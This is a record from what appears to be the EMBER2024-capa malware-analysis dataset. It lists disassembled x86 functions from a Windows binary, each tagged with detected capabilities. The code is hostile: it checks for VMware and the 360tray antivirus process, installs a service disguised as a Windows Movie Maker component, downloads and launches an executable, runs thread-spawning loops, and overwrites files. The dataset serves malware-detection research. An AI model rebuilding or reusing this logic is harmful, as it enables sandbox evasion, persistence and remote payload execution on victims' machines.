joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4021b0
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x415220]
push ebx
push ebp
push esi
push edi
xor edi, edi
cmp eax, edi
je case.0x4021e7.10
mov esi, dword [esp + 0x14]
mov dword [0x415220], edi
mov eax, dword [esi + 0x114]
add eax, 0xfffffffb
cmp eax, 0x21
ja case.0x4021e7.10
xor ecx, ecx
mov cl, byte [eax + 0x402338]
jmp dword [ecx*4 + 0x402320]
mov eax, dword [esi + 0x108]
xor ebx, ebx
cmp eax, edi
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
jle 0x402238
mov ebp, 1
cmp dword [esi + 0x10c], ebp
jne 0x40221d
push 0
push 0
push esi
push 0x406ef0
push 0
push 0
call edi
push 0
push 0
push esi
push 0x406bc0
push 0
push 0
call edi
mov eax, dword [esi + 0x108]
inc ebx
cmp ebx, eax
jl 0x402205
push 0
push 0
push esi
push 0x4017d0
push 0
push 0
call edi
pop edi
pop esi
pop ebp
pop ebx
ret
mov eax, dword [esi + 0x108]
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp eax, edi
jle 0x40230a
push 0
push 0
push esi
push 0x406ef0
push 0
push 0
call ebx
mov eax, dword [esi + 0x108]
inc edi
cmp edi, eax
jl 0x402261
jmp 0x40230a
mov eax, dword [esi + 0x108]
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp eax, edi
jle 0x40230a
push 0
push 0
push esi
push 0x406cf0
push 0
push 0
call ebx
mov eax, dword [esi + 0x108]
inc edi
cmp edi, eax
jl 0x402291
jmp 0x40230a
mov eax, dword [esi + 0x108]
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp eax, edi
jle 0x40230a
push 0
push 0
push esi
push 0x407180
push 0
push 0
call ebx
mov eax, dword [esi + 0x108]
inc edi
cmp edi, eax
jl 0x4022be
jmp 0x40230a
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ebp, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push 0
push esi
push 0x408150
push 0
push 0
mov dword [esi + 0x10c], edi
call ebx
push 0xbb8
call ebp
inc edi
cmp edi, 0x14
jl 0x4022e7
push 0
push 0
push esi
push 0x4017d0
push 0
push 0
call ebx
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x402360
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x415220]
push ebx
push esi
push edi
test eax, eax
je 0x40240a
mov esi, dword [esp + 0x10]
mov dword [0x415220], 0
mov eax, dword [esi + 0x28c]
sub eax, 0x15
je 0x4023cd
dec eax
jne 0x40240a
mov eax, dword [esi + 0x288]
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
xor edi, edi
test eax, eax
jle 0x4023fa
push 0
push 0
push esi
push 0x408090
push 0
push 0
call ebx
mov eax, dword [esi + 0x288]
inc edi
cmp edi, eax
jl 0x40239e
push 0
push 0
push esi
push 0x4017d0
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret
mov eax, dword [esi + 0x288]
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
xor edi, edi
test eax, eax
jle 0x4023fa
push 0
push 0
push esi
push 0x407fc0
push 0
push 0
call ebx
mov eax, dword [esi + 0x288]
inc edi
cmp edi, eax
jl 0x4023df
push 0
push 0
push esi
push 0x4017d0
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret
Function at 0x402520
Capabilities:
Delete file
Get common file path
Move file
Write file on windows

Disassembly:
sub esp, 0x20c
push ebx
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push str.wsprintfA
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, eax
lea eax, [esp + 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
lea ecx, [esp + 0x114]
push eax
push ecx
push str.JXNcXGtiLSVkLnRtcA
call fcn.00408c60
add esp, 4
lea edx, [esp + 0x18]
push eax
push edx
call esi
mov ecx, dword [esp + 0x230]
mov eax, dword [esp + 0x234]
mov edi, dword [esp + 0x22c]
and ecx, 0xffff
push eax
push ecx
push edi
call fcn.004097d0
mov esi, eax
add esp, 0x1c
test esi, esi
jne 0x4025af
pop edi
pop esi
pop ebx
add esp, 0x20c
ret
push esi
push edi
call fcn.00409780
mov edi, eax
add esp, 8
test edi, edi
jne 0x4025c9
pop edi
pop esi
pop ebx
add esp, 0x20c
ret
push 0
push 0x80
push 2
push 0
push 7
lea edx, [esp + 0x24]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
test ebx, ebx
jne 0x4025f6
pop edi
pop esi
pop ebx
add esp, 0x20c
ret
push ebp
lea eax, [esp + 0x10]
push 0
push eax
push esi
push 0
call fcn.00409820
mov ebp, dword [sym.imp.KERNEL32.DLL_WriteFile]
add esp, 8
push eax
push edi
push ebx
call ebp
mov esi, dword [esp + 0x230]
test esi, esi
je 0x40266b
lea ecx, [esp + 0x10]
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
push esi
push ebx
call ebp
push 0x100000
call fcn.00409b70
mov esi, eax
mov ecx, 0x40000
mov eax, 0x2e2e2e2e
mov edi, esi
rep stosd dword es:[edi], eax
add esp, 4
mov edi, 0xa
lea edx, [esp + 0x10]
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push esi
push ebx
call ebp
dec edi
jne 0x402655
mov eax, dword [esp + 0x22c]
push 1
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x20c
ret
Function at 0x402770
Capabilities:
Get common file path

Disassembly:
sub esp, 0xe4
or ecx, 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [esp + 0xec]
push edi
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x402887
mov byte [esp + 8], al
mov dword [esp + 9], eax
mov dword [esp + 0xd], eax
push ebp
mov dword [esp + 0x15], eax
push esi
lea ecx, [esp + 0x10]
mov word [esp + 0x1d], ax
push 0x10
push ecx
mov byte [esp + 0x27], al
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x75]
mov dl, byte [esp + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.OlxQcm9ncmFtIEZpbGVzXEludGVybmV0IEV4cGxvcmVyXGlleHBsb3JlLmV4ZSIg
mov byte [esp + 0x78], 0x22
mov byte [esp + 0x79], dl
call fcn.00408c60
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x74]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x74]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x10
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0xfc]
pop esi
test eax, eax
mov dword [esp + 0x2c], 0x44
pop ebp
je 0x40285f
mov dword [esp + 0x30], str.wINsTA0dEFauLT
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x88]
push 0
push edx
push 0
call fcn.004098c0
add esp, 0x28
pop edi
xor al, al
pop ebx
add esp, 0xe4
ret

Function at 0x403120
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4121f0
push 0x40a108
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4031c0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
call fcn.00403090
test al, al
je 0x4031da
mov al, 1
pop esi
add esp, 0x128
ret
call fcn.00403120
test al, al
je 0x4031ed
mov al, 1
pop esi
add esp, 0x128
ret
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x403252
lea eax, [esp + 4]
mov dword [esp + 4], 0x128
push eax
push esi
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x40324b
lea ecx, [esp + 0x28]
push ecx
push str.vmwareservice.exe
call fcn.0040d210
add esp, 8
test eax, eax
je 0x40323a
lea edx, [esp + 4]
push edx
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x40324b
jmp 0x403213
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, 1
pop esi
add esp, 0x128
ret
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor al, al
pop esi
add esp, 0x128
ret

Function at 0x403570
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov eax, 0x1010
call fcn.00409fe0
push ebx
push ebp
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push str.wsprintfA
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov eax, dword [esp + 0x1024]
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push edi
push edi
push 3
push edi
push 1
push closesocket
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x34], edi
call esi
mov ecx, dword [esp + 0x1028]
push edi
push 0x80
push 2
push edi
push edi
mov ebp, eax
push 0xc0000000
push ecx
mov dword [esp + 0x30], ebp
call esi
cmp ebp, 0xffffffff
mov ebx, eax
je 0x4036a4
cmp ebx, 0xffffffff
je 0x4036a4
mov esi, dword [sym.imp.KERNEL32.DLL_ReadFile]
lea edx, [esp + 0x10]
push edi
push edx
lea eax, [esp + 0x28]
push 0x1000
push eax
push ebp
call esi
test eax, eax
je 0x403622
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push edi
push ecx
lea eax, [esp + 0x28]
push edx
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp dword [esp + 0x10], 0x1000
je 0x4035f4
push 0x100000
call fcn.00409b70
push edi
mov esi, eax
call fcn.0040a208
push eax
call fcn.0040a1e0
add esp, 0xc
call fcn.0040a1ea
cdq
mov ecx, 0x19
idiv ecx
add dl, 0x61
mov byte [edi + esi], dl
inc edi
cmp edi, 0x100000
jl 0x403647
mov ebp, dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edi, 0xa
lea edx, [esp + 0x1c]
push 0
push edx
push esi
call ebp
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
dec edi
jne 0x40366e
mov eax, dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push eax
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1010
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1010
ret
Function at 0x4036c0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebp
xor ebp, ebp
push esi
push ebp
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x403746
push ebx
lea eax, [esp + 0xc]
push edi
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x403732
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
lea ecx, [esp + 0x34]
push ecx
push edi
call ebx
test eax, eax
je 0x40372d
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x4036fe
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
add esp, 0x128
ret
mov ebp, 1
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
add esp, 0x128
ret
mov eax, ebp
pop esi
pop ebp
add esp, 0x128
ret
Function at 0x403e80
Capabilities:
Terminate process

Disassembly:
sub esp, 0x2c
call dword [0x41860c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push eax
call dword [0x4185f8]
push 0
push 0
lea eax, [esp + 0x18]
push 0
push eax
call dword [0x4185fc]
call fcn.00403760
call 0x403f60
test eax, eax
je 0x403f09
push 0x414c7c
call fcn.00401650
add esp, 4
test eax, eax
jne 0x403ef7
lea ecx, [esp]
mov dword [esp], str.WMMNetworkPry
push ecx
mov dword [esp + 8], 0x403260
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
call dword [0x4185e8]
xor eax, eax
add esp, 0x2c
ret 0x10
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
call fcn.00409f00
push str.Program_Files
push str.Physical_devices_to_share_Windows_Movie_Maker_NetworkWis_Library.
push str.Windows_Movie_Maker_Network_Sharing_ServiceYaf
push str.WMMNetworkPry
call fcn.00404000
push str.360tray.exe
call fcn.004036c0
add esp, 0x14
test eax, eax
je 0x403f45
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
call fcn.00404f50
mov eax, dword [0x41864c]
test eax, eax
je 0x403eef
call fcn.00404980
push 0
call fcn.00409f00
nop
nop
nop
nop
nop
nop
sub esp, 0x108
push ebx
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.WMMNetworkPry
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0xf003f
lea ecx, [esp + 0x18]
push 0
push ecx
push closesocket
call dword [0x4185ec]
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x108
ret
Function at 0x404610
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x28], esi
call fcn.00409680
mov edi, eax
add esp, 0x14
cmp edi, ebp
mov dword [esp + 0x1c], edi
jne 0x404655
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x410
ret
mov eax, dword [esp + 0x424]
push ebp
push closesocket
push ebp
push ebp
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
cmp ebx, ebp
jne 0x40467f
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x410
ret
mov ecx, dword [esp + 0x428]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x404707
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x20]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x24]
push 0x400
push eax
push ebx
call fcn.004096e0
add esp, 0x10
test esi, esi
je 0x4046d1
cmp word [esp + 0x20], 0x5a4d
jne 0x4046f4
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x18]
push esi
push ecx
lea eax, [esp + 0x28]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x4046fc
jmp 0x40469f
mov dword [esp + 0x14], 0
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, dword [esp + 0x1c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x410
ret
Function at 0x404730
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x2d4
push ebp
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x61]
mov byte [esp + 0x60], 0
mov byte [esp + 0xe0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0xe1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xe0]
push eax
push 0x200
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov esi, dword [esp + 0x2e4]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov edx, ecx
lea edi, [esp + 0x60]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x60]
and ecx, 3
push 0x2f
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.0040a6b0
mov edi, eax
or ecx, 0xffffffff
inc edi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xe8]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0xe8]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x6c]
push ecx
call fcn.00404610
add esp, 0x10
test al, al
je 0x404837
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x20]
lea edx, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0xfc]
push 0
push ecx
push 0
mov dword [esp + 0x44], 0x44
mov dword [esp + 0x4c], str.WinSta0Default
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
pop edi
pop esi
pop ebp
add esp, 0x2d4
ret

Function at 0x4048e0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x84
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 0xc]
lea edx, [esp + 0xc]
push ecx
push str._sx86_ms6012453.log
push edx
call dword [0x418604]
add esp, 0xc
lea eax, [esp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edx, dword [esp + 0x90]
lea ecx, [esp + 8]
push 0
mov esi, eax
push ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
add esp, 0x84
ret
Function at 0x404980
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x484
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 0xc]
lea edx, [esp + 0xc]
push ecx
push str._sx86_ms6012452.log
push edx
call dword [0x418604]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x98]
add esp, 0xc
rep stosd dword es:[edi], eax
lea eax, [esp + 0x8c]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0
push 0x80
push 2
push 0
push 0
lea ecx, [esp + 0x20]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
lea edi, [esp + 0x8c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea edx, [esp + 8]
push 0
dec ecx
push edx
lea eax, [esp + 0x94]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
add esp, 0x484
ret

Function at 0x404a50
Capabilities:
Delete file
Get common file path
Read file on windows

Disassembly:
sub esp, 0x184
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 0xc]
lea edx, [esp + 0xc]
push ecx
push str._sx86_ms6012452.log
push edx
call dword [0x418604]
add esp, 0xc
lea eax, [esp + 0xc]
push 0
push 0x80
push 3
push 0
push 0
push closesocket
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x404af5
lea ecx, [esp + 8]
push 0
push ecx
lea edx, [esp + 0x94]
push 0x100
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov eax, dword [esp + 8]
push esi
mov byte [esp + eax + 0x90], 0
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [esp + 0x8c]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
add esp, 0x184
ret

Function at 0x406120
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x406144
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40613d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret
Function at 0x4061d0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x40c
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
call fcn.00409680
mov edi, eax
add esp, 0x14
cmp edi, ebx
mov dword [esp + 0x14], edi
jne 0x40620a
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x40c
ret
mov eax, dword [esp + 0x41c]
push ebx
push closesocket
push ebx
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x406233
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x40c
ret
mov ecx, dword [esp + 0x420]
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4062a7
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_WriteFile]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x1c]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x20]
push 0x400
push eax
push esi
call fcn.004096e0
mov edx, dword [esp + 0x20]
add esp, 0x10
lea ecx, [esp + 0x14]
lea eax, [esp + 0x1c]
push 0
push ecx
push edx
push eax
push ebx
call ebp
mov eax, dword [esp + 0x10]
test eax, eax
ja 0x40625a
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, dword [esp + 0x18]
pop ebp
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
pop edi
pop esi
mov al, 1
pop ebx
add esp, 0x40c
ret

Function at 0x4062c0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp]
push str.Program_FilesInternet_Exploreriexplore.exe
push ecx
mov byte [esp + 0xa], 0
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov eax, dword [esp + 0x108]
lea edx, [esp]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov eax, 1
add esp, 0x104
ret
Function at 0x409a30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x409a4e
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x409a8f
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret